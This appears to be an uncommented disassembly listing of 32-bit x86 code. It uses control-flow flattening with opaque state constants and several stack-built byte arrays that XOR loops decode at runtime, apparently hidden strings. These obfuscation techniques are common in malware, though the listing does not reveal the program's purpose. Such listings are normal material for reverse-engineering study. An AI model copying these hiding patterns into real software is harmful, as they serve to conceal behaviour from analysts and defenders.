cmp ebx, 0x345bfe7e
jne 0x1006b467
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x345bfe7e
cmove ebx, edx
jmp 0x1006b467
mov eax, dword [esp]
lea ebp, [eax + 0xa8]
mov dword [esp + 0x28c], esi
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x5b8], al
mov edx, 0x90c0f9ff
mov eax, 0xfca0c445
mov ecx, 0x42f32fd4
cmp edx, 0x281913eb
jg 0x1006b4e0
cmp edx, 0x848a6b21
je 0x1006b510
cmp edx, 0x90c0f9ff
je 0x1006b537
cmp edx, 0xfca0c445
jne 0x1006b4bb
jmp 0x1006b5bb
cmp edx, 0x281913ec
je 0x1006b54c
cmp edx, 0x42f32fd4
je 0x1006b577
cmp edx, 0x74f09bf5
jne 0x1006b4bb
mov edx, dword [esp + 0x2d4]
cmp edx, 0x39
mov edx, 0x281913ec
cmovb edx, ecx
jmp 0x1006b4bb
lea edx, [esp + 0x2d4]
mov dword [esp + 0x23c], edx
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x74f09bf5
jmp 0x1006b4bb
test byte [esp + 0x5b8], 1
mov edx, 0x848a6b21
cmove edx, eax
jmp 0x1006b4bb
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x677], 0
mov byte [esp + 0x678], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0xfca0c445
jmp 0x1006b4bb
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x63e]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x63d]
inc dl
xor dl, bh
xor dl, bl
xor dl, 0x39
mov esi, dword [esp + 0x2d4]
mov byte [esp + esi + 0x63e], dl
inc dword [esp + 0x2d4]
mov edx, 0x74f09bf5
jmp 0x1006b4bb
xor eax, eax
mov dword [esp + 0x67c], eax
mov dword [esp + 0x68c], eax
mov dword [esp + 0x690], 0xf
mov byte [esp + 0x67c], 0
push edi
call fcn.1009ee80
add esp, 4
lea esi, [esp + 0x67c]
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x624]
mov dword [esp + 0x54], esi
mov eax, dword [esp + 0x54]
lea eax, [esp + 0x5fc]
mov dword [esp + 0x58], eax
mov ecx, dword [esp + 0x58]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x5fe]
mov byte [edi], 0x24
mov byte [edi + 1], 0x41
mov byte [edi + 2], 0x4c
mov byte [edi + 3], 0x69
mov byte [edi + 4], 0x75
mov cl, 0x7e
mov byte [edi + 5], cl
mov byte [edi + 6], 0x6a
mov byte [edi + 7], 0x76
mov byte [edi + 8], 0x7b
mov byte [edi + 9], 0x35
mov byte [edi + 0xa], 0x52
mov dl, 0x7a
mov byte [edi + 0xb], dl
mov byte [edi + 0xc], cl
mov byte [edi + 0xd], 0x74
mov cl, 0x63
mov byte [edi + 0xe], cl
mov byte [edi + 0xf], 0x53
mov byte [edi + 0x10], 0x43
mov ch, 0x64
mov byte [edi + 0x11], ch
mov byte [edi + 0x12], 0x6f
mov byte [edi + 0x13], 0x79
mov dh, 0x65
mov byte [edi + 0x14], dh
mov byte [edi + 0x15], dl
mov byte [edi + 0x16], 0x67
mov byte [edi + 0x17], 0x61
mov byte [edi + 0x18], 0x72
mov byte [edi + 0x19], 0x25
mov byte [edi + 0x1a], 0x4b
mov byte [edi + 0x1b], dh
mov byte [edi + 0x1c], ch
mov byte [edi + 0x1d], 0x68
mov byte [edi + 0x1e], cl
mov byte [edi + 0x1f], 0x5a
mov byte [edi + 0x20], 0x62
lea ecx, [esp + 0x61f]
lea edx, [esp + 0x621]
mov dword [esp + 0x23c], edx
mov ebx, 0xc9b875da
mov edx, 0x6df912c4
cmp ebx, 0x6df912c4
je 0x1006b6f4
cmp ebx, 0xc9b875da
jne 0x1006b6cf
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0xc9b875da
cmove ebx, edx
jmp 0x1006b6cf
mov ecx, dword [esp]
lea ebp, [ecx + 0xc0]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x5b8], al
mov edx, 0xaf297b9d
mov eax, 0xd6468c31
mov ecx, 0x11f301cc
cmp edx, 0xd6468c30
jg 0x1006b76f
cmp edx, 0x9f94a134
je 0x1006b79f
cmp edx, 0xaf297b9d
je 0x1006b7c9
cmp edx, 0xd0c51a82
jne 0x1006b723
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x61f], 0
mov byte [esp + 0x620], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0xd6468c31
jmp 0x1006b723
cmp edx, 0xd6468c31
je 0x1006b822
cmp edx, 0x11f301cc
je 0x1006b7de
cmp edx, 0x4a99482c
jne 0x1006b723
mov edx, dword [esp + 0x2d4]
cmp edx, 0x21
mov edx, 0xd0c51a82
cmovb edx, ecx
jmp 0x1006b723
lea edx, [esp + 0x2d4]
mov dword [esp + 0x23c], edx
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x4a99482c
jmp 0x1006b723
test byte [esp + 0x5b8], 1
mov edx, 0x9f94a134
cmove edx, eax
jmp 0x1006b723
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x5fe]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x5fd]
inc dl
xor dl, bh
xor dl, bl
xor dl, 0x21
mov ebx, dword [esp + 0x2d4]
mov byte [esp + ebx + 0x5fe], dl
inc dword [esp + 0x2d4]
mov edx, 0x4a99482c
jmp 0x1006b723
xor eax, eax
mov dword [esp + 0x624], eax
mov dword [esp + 0x634], eax
mov dword [esp + 0x638], 0xf
mov byte [esp + 0x624], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x5e4]
mov dword [esp + 0x5c], esi
mov eax, dword [esp + 0x5c]
lea eax, [esp + 0x5b8]
mov dword [esp + 0x60], eax
mov ecx, dword [esp + 0x60]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x5ba]
mov byte [edi], 0x20
mov byte [edi + 1], 0x45
mov byte [edi + 2], 0x48
mov byte [edi + 3], 0x6d
mov cl, 0x71
mov byte [edi + 4], cl
mov dl, 0x7a
mov byte [edi + 5], dl
mov byte [edi + 6], 0x6e
mov ch, 0x72
mov byte [edi + 7], ch
mov dh, 0x7f
mov byte [edi + 8], dh
mov byte [edi + 9], 0x31
mov byte [edi + 0xa], 0x56
mov byte [edi + 0xb], 0x7e
mov byte [edi + 0xc], dl
mov byte [edi + 0xd], 0x70
mov bl, 0x67
mov byte [edi + 0xe], bl
mov bh, 0x57
mov byte [edi + 0xf], bh
mov byte [edi + 0x10], 0x5d
mov byte [edi + 0x11], 0x60
mov byte [edi + 0x12], 0x66
mov byte [edi + 0x13], 0x6b
mov byte [edi + 0x14], 0x61
mov byte [edi + 0x15], dl
mov byte [edi + 0x16], dh
mov byte [edi + 0x17], 0x42
mov byte [edi + 0x18], ch
mov byte [edi + 0x19], cl
mov byte [edi + 0x1a], 0x73
mov byte [edi + 0x1b], 0x5b
mov byte [edi + 0x1c], 0x4b
mov byte [edi + 0x1d], 0x6c
mov byte [edi + 0x1e], bl
mov byte [edi + 0x1f], 0x49
mov byte [edi + 0x20], 0x55
mov cl, 0x4a
mov byte [edi + 0x21], cl
mov byte [edi + 0x22], bh
mov byte [edi + 0x23], 0x59
mov byte [edi + 0x24], cl
lea ecx, [esp + 0x5df]
lea edx, [esp + 0x5e1]
mov dword [esp + 0x23c], edx
mov ebx, 0x994291a1
mov edx, 0x91077b17
cmp ebx, 0x91077b17
je 0x1006b963
cmp ebx, 0x994291a1
jne 0x1006b93e
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x994291a1
cmove ebx, edx
jmp 0x1006b93e
mov ecx, dword [esp]
lea ebp, [ecx + 0xd8]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x454], al
mov edx, 0x9e0c7f8b
mov ecx, 0x89c854a2
cmp edx, 0xa8b7367d
jg 0x1006b9c7
cmp edx, 0x82646bf7
je 0x1006ba3c
cmp edx, 0x89c854a2
je 0x1006baad
cmp edx, 0x9e0c7f8b
jne 0x1006b98d
test byte [esp + 0x454], 1
mov edx, 0xa8b7367e
cmove edx, ecx
jmp 0x1006b98d
cmp edx, 0xa8b7367e
je 0x1006ba58
cmp edx, 0xf7a486f8
je 0x1006ba82
cmp edx, 0xd4fc55
jne 0x1006b98d
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x5ba]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x5b9]
mov eax, 0x7e
sub eax, edx
and eax, 0x65
inc edx
and edx, 0x9a
or edx, eax
xor dl, bh
xor dl, bl
xor dl, 0x40
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x5ba], dl
inc dword [esp + 0x2d4]
mov edx, 0x82646bf7
jmp 0x1006b98d
mov edx, dword [esp + 0x2d4]
cmp edx, 0x25
mov edx, 0xf7a486f8
mov eax, 0xd4fc55
cmovb edx, eax
jmp 0x1006b98d
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x82646bf7
jmp 0x1006b98d
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x5df], 0
mov byte [esp + 0x5e0], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0x89c854a2
jmp 0x1006b98d
xor eax, eax
mov dword [esp + 0x5e4], eax
mov dword [esp + 0x5f4], eax
mov dword [esp + 0x5f8], 0xf
mov byte [esp + 0x5e4], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x5a0]
mov dword [esp + 0x64], esi
mov eax, dword [esp + 0x64]
lea eax, [esp + 0x578]
mov dword [esp + 0x68], eax
mov ecx, dword [esp + 0x68]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x57a]
mov byte [edi], 0x27
mov byte [edi + 1], 0x42
mov byte [edi + 2], 0x4f
mov byte [edi + 3], 0x6a
mov byte [edi + 4], 0x76
mov cl, 0x7d
mov byte [edi + 5], cl
mov byte [edi + 6], 0x69
mov byte [edi + 7], 0x75
mov byte [edi + 8], pe_nt_image_headers32
mov byte [edi + 9], 0x36
mov dl, 0x51
mov byte [edi + 0xa], dl
mov ch, 0x79
mov byte [edi + 0xb], ch
mov byte [edi + 0xc], cl
mov byte [edi + 0xd], 0x77
mov byte [edi + 0xe], 0x60
mov byte [edi + 0xf], 0x50
mov byte [edi + 0x10], 0x40
mov byte [edi + 0x11], 0x67
mov cl, 0x6c
mov byte [edi + 0x12], cl
mov byte [edi + 0x13], 0x7a
mov byte [edi + 0x14], 0x66
mov byte [edi + 0x15], ch
mov byte [edi + 0x16], 0x64
mov ch, 0x62
mov byte [edi + 0x17], ch
mov byte [edi + 0x18], 0x71
mov byte [edi + 0x19], 0x26
mov byte [edi + 0x1a], dl
mov byte [edi + 0x1b], 0x53
mov byte [edi + 0x1c], 0x21
mov byte [edi + 0x1d], 0x41
mov byte [edi + 0x1e], cl
mov cl, 0x58
mov byte [edi + 0x1f], cl
mov byte [edi + 0x20], cl
mov byte [edi + 0x21], ch
lea ecx, [esp + 0x59c]
lea edx, [esp + 0x59e]
mov dword [esp + 0x23c], edx
mov ebx, 0x75490024
mov edx, 0xf880d190
cmp ebx, 0xf880d190
je 0x1006bbe3
cmp ebx, 0x75490024
jne 0x1006bbbe
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x75490024
cmove ebx, edx
jmp 0x1006bbbe
mov ecx, dword [esp]
lea ebp, [ecx + 0xf0]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x454], al
mov edx, 0x1070663e
mov ecx, 0xe85180e5
cmp edx, 0x5243fca4
jg 0x1006bc48
cmp edx, 0x9bfab6d9
je 0x1006bd28
cmp edx, 0xe85180e5
je 0x1006bc93
cmp edx, 0x1070663e
jne 0x1006bc0d
test byte [esp + 0x454], 1
mov edx, 0x6351a183
mov eax, 0x9bfab6d9
cmove edx, eax
jmp 0x1006bc0d
cmp edx, 0x5243fca5
je 0x1006bce7
cmp edx, 0x6351a183
je 0x1006bcfe
cmp edx, 0x7ac86e60
jne 0x1006bc0d
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x59c], 0
mov byte [esp + 0x59d], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0x9bfab6d9
jmp 0x1006bc0d
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x57a]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x579]
mov eax, 0xfe
sub eax, edx
and eax, 0x8e
inc edx
and edx, 0x71
or edx, eax
xor dl, bh
xor dl, bl
xor dl, 0xac
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x57a], dl
inc dword [esp + 0x2d4]
mov edx, 0x5243fca5
jmp 0x1006bc0d
mov edx, dword [esp + 0x2d4]
cmp edx, 0x22
mov edx, 0x7ac86e60
cmovb edx, ecx
jmp 0x1006bc0d
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x5243fca5
jmp 0x1006bc0d
xor eax, eax
mov dword [esp + 0x5a0], eax
mov dword [esp + 0x5b0], eax
mov dword [esp + 0x5b4], 0xf
mov byte [esp + 0x5a0], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea eax, [esp + 0x560]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x6c]
lea eax, [esp + 0x544]
mov dword [esp + 0x70], eax
mov ecx, dword [esp + 0x70]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x546]
mov byte [edi], 0x10
mov byte [edi + 1], 0x75
mov byte [edi + 2], 0x7f
mov byte [edi + 3], 0x46
mov byte [edi + 4], 0x40
mov cl, 0x49
mov byte [edi + 5], cl
mov byte [edi + 6], 0x43
mov byte [edi + 7], 0x54
mov dl, 0x51
mov byte [edi + 8], dl
mov byte [edi + 9], 0x7d
mov byte [edi + 0xa], 0x73
mov byte [edi + 0xb], 0x5e
mov byte [edi + 0xc], 0x55
mov byte [edi + 0xd], dl
mov byte [edi + 0xe], 0x41
mov byte [edi + 0xf], 0x56
mov byte [edi + 0x10], 0x7b
mov byte [edi + 0x11], cl
mov byte [edi + 0x12], 0x48
mov byte [edi + 0x13], 0x4c
mov byte [edi + 0x14], 0x62
lea ecx, [esp + 0x55b]
lea edx, [esp + 0x55d]
mov dword [esp + 0x23c], edx
mov ebx, 0xc86ff799
mov edx, 0x446b6b89
cmp ebx, 0x446b6b89
je 0x1006be2a
cmp ebx, 0xc86ff799
jne 0x1006be05
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0xc86ff799
cmove ebx, edx
jmp 0x1006be05
mov ecx, dword [esp]
lea ebp, [ecx + 0x108]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x454], al
mov edx, 0x22ccbabc
cmp edx, 0x14f923ce
jg 0x1006be9a
cmp edx, 0x8873253c
je 0x1006bed4
cmp edx, 0x985ab2af
je 0x1006beff
cmp edx, 0xb1a6c517
jne 0x1006be4f
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x54f21679
jmp 0x1006be4f
cmp edx, 0x14f923cf
je 0x1006bf70
cmp edx, 0x54f21679
je 0x1006bf54
cmp edx, 0x22ccbabc
jne 0x1006be4f
test byte [esp + 0x454], 1
mov edx, 0xb1a6c517
mov eax, 0x14f923cf
cmove edx, eax
jmp 0x1006be4f
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x55b], 0
mov byte [esp + 0x55c], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0x14f923cf
jmp 0x1006be4f
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x546]
mov eax, dword [esp + 0x2d4]
mov dl, byte [esp + 0x545]
movzx ecx, dl
lea esi, [eax + 1]
mov edx, 0xfe
sub edx, eax
and edx, ecx
not ecx
and ecx, esi
or edx, ecx
xor dl, bl
xor dl, 0x15
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x546], dl
inc dword [esp + 0x2d4]
mov edx, 0x54f21679
jmp 0x1006be4f
mov edx, dword [esp + 0x2d4]
cmp edx, 0x15
mov edx, 0x8873253c
mov eax, 0x985ab2af
cmovb edx, eax
jmp 0x1006be4f
xor eax, eax
mov dword [esp + 0x560], eax
mov dword [esp + 0x570], eax
mov dword [esp + 0x574], 0xf
mov byte [esp + 0x560], 0
push edi
call fcn.1009ee80
add esp, 4
lea esi, [esp + 0x560]
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x52c]
mov dword [esp + 0x74], esi
mov eax, dword [esp + 0x74]
lea eax, [esp + 0x508]
mov dword [esp + 0x78], eax
mov ecx, dword [esp + 0x78]
mov cl, 1
mov byte [eax], cl
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x50a]
mov byte [edi], 0x1a
mov byte [edi + 1], 0x7f
mov byte [edi + 2], 0x75
mov byte [edi + 3], 0x4c
mov dl, 0x4a
mov byte [edi + 4], dl
mov byte [edi + 5], 0x43
mov byte [edi + 6], 0x49
mov ch, 0x5e
mov byte [edi + 7], ch
mov dh, 0x5b
mov byte [edi + 8], dh
mov byte [edi + 9], 0x77
mov byte [edi + 0xa], 0x79
mov byte [edi + 0xb], 0x54
mov byte [edi + 0xc], 0x5f
mov byte [edi + 0xd], dh
mov byte [edi + 0xe], 0x4b
mov dh, 0x5c
mov byte [edi + 0xf], dh
mov byte [edi + 0x10], 3
mov byte [edi + 0x11], cl
mov byte [edi + 0x12], 0x6e
mov byte [edi + 0x13], 0x71
mov byte [edi + 0x14], 0x46
mov byte [edi + 0x15], ch
mov byte [edi + 0x16], 0x40
mov byte [edi + 0x17], dh
mov byte [edi + 0x18], dl
mov byte [edi + 0x19], 0x68
mov cl, 0x4e
mov byte [edi + 0x1a], cl
mov byte [edi + 0x1b], 0x52
mov byte [edi + 0x1c], cl
mov byte [edi + 0x1d], 0x5a
mov byte [edi + 0x1e], 0x62
lea ecx, [esp + 0x529]
lea edx, [esp + 0x52b]
mov dword [esp + 0x23c], edx
mov ebx, 0x6b2d2d72
mov edx, 0xac1a3574
cmp ebx, 0xac1a3574
je 0x1006c0a1
cmp ebx, 0x6b2d2d72
jne 0x1006c07c
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x6b2d2d72
cmove ebx, edx
jmp 0x1006c07c
mov ecx, dword [esp]
lea ebp, [ecx + 0x120]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x454], al
mov edx, 0xfc05f5d
mov ecx, 0xbeaa9632
cmp edx, 0xfc05f5c
jg 0x1006c117
cmp edx, 0xbeaa9632
je 0x1006c1df
cmp edx, 0xcc0ea06f
je 0x1006c145
cmp edx, 0xdf70cfd4
jne 0x1006c0cb
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x529], 0
mov byte [esp + 0x52a], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0xbeaa9632
jmp 0x1006c0cb
cmp edx, 0x6dd41a01
je 0x1006c199
cmp edx, 0x1ea8868e
je 0x1006c1c3
cmp edx, 0xfc05f5d
jne 0x1006c0cb
test byte [esp + 0x454], 1
mov edx, 0x6dd41a01
cmove edx, ecx
jmp 0x1006c0cb
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x50a]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x509]
mov eax, 0xfe
sub eax, edx
and eax, 0xc4
inc edx
and edx, 0x3b
or edx, eax
xor dl, bh
xor dl, bl
xor dl, 0xdb
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x50a], dl
inc dword [esp + 0x2d4]
mov edx, 0x1ea8868e
jmp 0x1006c0cb
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x1ea8868e
jmp 0x1006c0cb
mov edx, dword [esp + 0x2d4]
cmp edx, 0x1f
mov edx, 0xdf70cfd4
mov eax, 0xcc0ea06f
cmovb edx, eax
jmp 0x1006c0cb
xor eax, eax
mov dword [esp + 0x52c], eax
mov dword [esp + 0x53c], eax
mov dword [esp + 0x540], 0xf
mov byte [esp + 0x52c], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x4f0]
mov dword [esp + 0x7c], esi
mov eax, dword [esp + 0x7c]
lea eax, [esp + 0x4cc]
mov dword [esp + 0x80], eax
mov ecx, dword [esp + 0x80]
mov cl, 1
mov byte [eax], cl
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x4ce]
mov byte [edi], 0x1a
mov byte [edi + 1], 0x7f
mov dl, 0x75
mov byte [edi + 2], dl
mov byte [edi + 3], 0x4c
mov byte [edi + 4], 0x4a
mov ch, 0x43
mov byte [edi + 5], ch
mov byte [edi + 6], 0x49
mov dh, 0x5e
mov byte [edi + 7], dh
mov bl, 0x5b
mov byte [edi + 8], bl
mov byte [edi + 9], 0x77
mov byte [edi + 0xa], 0x79
mov byte [edi + 0xb], 0x54
mov byte [edi + 0xc], 0x5f
mov byte [edi + 0xd], bl
mov byte [edi + 0xe], 0x4b
mov byte [edi + 0xf], 0x5c
mov byte [edi + 0x10], 3
mov byte [edi + 0x11], cl
mov byte [edi + 0x12], 0x6e
mov byte [edi + 0x13], 0x7c
mov byte [edi + 0x14], 0x5a
mov byte [edi + 0x15], 0x47
mov byte [edi + 0x16], ch
mov byte [edi + 0x17], 0x4d
mov byte [edi + 0x18], dl
mov byte [edi + 0x19], dh
mov byte [edi + 0x1a], 0x4e
mov byte [edi + 0x1b], 0x55
mov byte [edi + 0x1c], 0x53
mov byte [edi + 0x1d], bl
mov byte [edi + 0x1e], 0x62
lea ecx, [esp + 0x4ed]
lea edx, [esp + 0x4ef]
mov dword [esp + 0x23c], edx
mov ebx, 0x6b2d2d72
mov edx, 0xac1a3574
cmp ebx, 0xac1a3574
je 0x1006c30e
cmp ebx, 0x6b2d2d72
jne 0x1006c2e9
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x6b2d2d72
cmove ebx, edx
jmp 0x1006c2e9
mov ecx, dword [esp]
lea ebp, [ecx + 0x138]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x454], al
mov edx, 0xfc05f5d
mov ecx, 0xbeaa9632
cmp edx, 0xfc05f5c
jg 0x1006c384
cmp edx, 0xbeaa9632
je 0x1006c44c
cmp edx, 0xcc0ea06f
je 0x1006c3b2
cmp edx, 0xdf70cfd4
jne 0x1006c338
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x4ed], 0
mov byte [esp + 0x4ee], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0xbeaa9632
jmp 0x1006c338
cmp edx, 0x6dd41a01
je 0x1006c406
cmp edx, 0x1ea8868e
je 0x1006c430
cmp edx, 0xfc05f5d
jne 0x1006c338
test byte [esp + 0x454], 1
mov edx, 0x6dd41a01
cmove edx, ecx
jmp 0x1006c338
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x4ce]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x4cd]
mov eax, 0xfe
sub eax, edx
and eax, 0xc4
inc edx
and edx, 0x3b
or edx, eax
xor dl, bh
xor dl, bl
xor dl, 0xdb
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x4ce], dl
inc dword [esp + 0x2d4]
mov edx, 0x1ea8868e
jmp 0x1006c338
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x1ea8868e
jmp 0x1006c338
mov edx, dword [esp + 0x2d4]
cmp edx, 0x1f
mov edx, 0xdf70cfd4
mov eax, 0xcc0ea06f
cmovb edx, eax
jmp 0x1006c338
xor eax, eax
mov dword [esp + 0x4f0], eax
mov dword [esp + 0x500], eax
mov dword [esp + 0x504], 0xf
mov byte [esp + 0x4f0], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x4b4]
mov dword [esp + 0x84], esi
mov eax, dword [esp + 0x84]
lea eax, [esp + 0x498]
mov dword [esp + 0x88], eax
mov ecx, dword [esp + 0x88]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x49a]
mov byte [edi], 0x1d
mov byte [edi + 1], pe_nt_image_headers32
mov byte [edi + 2], 0x72
mov byte [edi + 3], 0x4b
mov byte [edi + 4], 0x4d
mov byte [edi + 5], 0x44
mov byte [edi + 6], 0x4e
mov byte [edi + 7], 0x59
mov cl, 0x5c
mov byte [edi + 8], cl
mov byte [edi + 9], 0x70
mov byte [edi + 0xa], 0x7e
mov byte [edi + 0xb], 0x53
mov byte [edi + 0xc], 0x58
mov byte [edi + 0xd], cl
mov byte [edi + 0xe], 0x4c
mov byte [edi + 0xf], 0x5b
mov byte [edi + 0x10], 4
mov byte [edi + 0x11], 6
mov byte [edi + 0x12], 0x69
mov byte [edi + 0x13], 0x45
mov byte [edi + 0x14], 0x51
mov byte [edi + 0x15], 0x55
mov byte [edi + 0x16], cl
mov byte [edi + 0x17], 0x62
lea ecx, [esp + 0x4b2]
lea edx, [esp + 0x4b4]
mov dword [esp + 0x23c], edx
mov ebx, 0x6f34885d
mov edx, 0x9095dfaa
cmp ebx, 0x9095dfaa
je 0x1006c565
cmp ebx, 0x6f34885d
jne 0x1006c540
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x6f34885d
cmove ebx, edx
jmp 0x1006c540
mov ecx, dword [esp]
lea ebp, [ecx + 0x150]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x454], al
mov edx, 0xebe16903
mov eax, 0x18ee5566
mov ecx, 0xc0ee5983
cmp edx, 0xebe16902
jg 0x1006c5df
cmp edx, 0xb256afed
je 0x1006c609
cmp edx, 0xc0ee5983
je 0x1006c68f
cmp edx, 0xdd480f66
jne 0x1006c594
lea edx, [esp + 0x2d4]
mov dword [esp + 0x23c], edx
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x41b8c51f
jmp 0x1006c594
cmp edx, 0x41b8c51f
je 0x1006c634
cmp edx, 0x18ee5566
je 0x1006c64b
cmp edx, 0xebe16903
jne 0x1006c594
test byte [esp + 0x454], 1
mov edx, 0xdd480f66
cmove edx, ecx
jmp 0x1006c594
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x4b2], 0
mov byte [esp + 0x4b3], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0xc0ee5983
jmp 0x1006c594
mov edx, dword [esp + 0x2d4]
cmp edx, 0x18
mov edx, 0xb256afed
cmovb edx, eax
jmp 0x1006c594
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x49a]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x499]
inc dl
xor dl, bh
xor dl, bl
xor dl, 0x18
mov ebx, dword [esp + 0x2d4]
mov byte [esp + ebx + 0x49a], dl
inc dword [esp + 0x2d4]
mov edx, 0x41b8c51f
jmp 0x1006c594
xor eax, eax
mov dword [esp + 0x4b4], eax
mov dword [esp + 0x4c4], eax
mov dword [esp + 0x4c8], 0xf
mov byte [esp + 0x4b4], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x480]
mov dword [esp + 0x8c], esi
mov eax, dword [esp + 0x8c]
lea eax, [esp + 0x454]
mov dword [esp + 0x90], eax
mov ecx, dword [esp + 0x90]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x456]
mov byte [edi], 0x20
mov byte [edi + 1], 0x45
mov byte [edi + 2], 0x4f
mov cl, 0x76
mov byte [edi + 3], cl
mov byte [edi + 4], 0x70
mov byte [edi + 5], 0x79
mov byte [edi + 6], 0x73
mov byte [edi + 7], 0x64
mov dl, 0x61
mov byte [edi + 8], dl
mov byte [edi + 9], 0x4d
mov byte [edi + 0xa], 0x43
mov byte [edi + 0xb], 0x6e
